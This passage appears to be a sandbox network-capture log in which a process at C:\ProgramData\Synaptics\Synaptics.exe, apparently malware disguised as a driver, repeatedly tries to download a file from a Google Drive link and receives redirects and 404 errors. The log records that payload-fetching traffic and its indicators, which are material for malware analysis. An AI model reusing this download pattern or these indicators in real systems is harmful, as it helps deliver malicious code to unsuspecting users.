2025-01-02 19:30:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eeCod3xKWt8EDT_JuGDajA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.9	50134	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:08 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:09 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:08 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-jXoG5cpWJmB7ofUqFCoKTw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.9	50135	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:08 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:09 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4FGPAjsNOT0cgQ36GABnFN4Kt5iNZ4MnNxEzA-kpg9xENbPVCnMOJ_xtuPNX0-gFnEsdWVFOo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:09 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nxYGPefF9XjUiNOiikIOqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:09 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:09 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 72 75 75 69 71 34 55 4d 49 5a 69 35 49 33 68 77 77 58 77 4d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="zruuiq4UMIZi5I3hwwXwMA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:09 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.9	50136	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:08 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:09 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7nyXUb0SbfzjgHWduGvSMJduuMXP99rPFMCsrFzQ87TDkufKe_vfeTDUv8tQnGDCSsPQbxllQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:09 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-arbLrr7Vv2NVz8WtzwCFKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:09 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:09 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 41 57 54 53 5f 4e 44 4a 76 79 79 37 62 64 74 6c 33 6c 47 77 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="WAWTS_NDJvyy7bdtl3lGwg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:09 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.9	50139	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:09 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-iKwOrE6BZhc31M9aC1QjVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.9	50143	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:10 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:10 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Rex1ZcvY-259tzPfCGiZlQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.9	50144	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:10 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:11 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4dyq9hPdSeWPthq8c3kwqvA1LoQkljYy2lhY3QjAN5KvpdK0aB0TwZE0a51As6gQv1 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:11 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Fur3sQMLSZAZiyBftdHbvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:11 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:11 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 53 61 63 6b 68 4f 4d 58 39 4b 74 66 6f 7a 65 69 77 51 75 4e 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="YSackhOMX9KtfozeiwQuNA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:11 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.9	50145	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:10 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-mMZLuNZAQr1gWjiuUPFSsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.9	50148	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:11 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-5DP-h0Yf2mGYynzUaMQ_yQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.9	50147	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
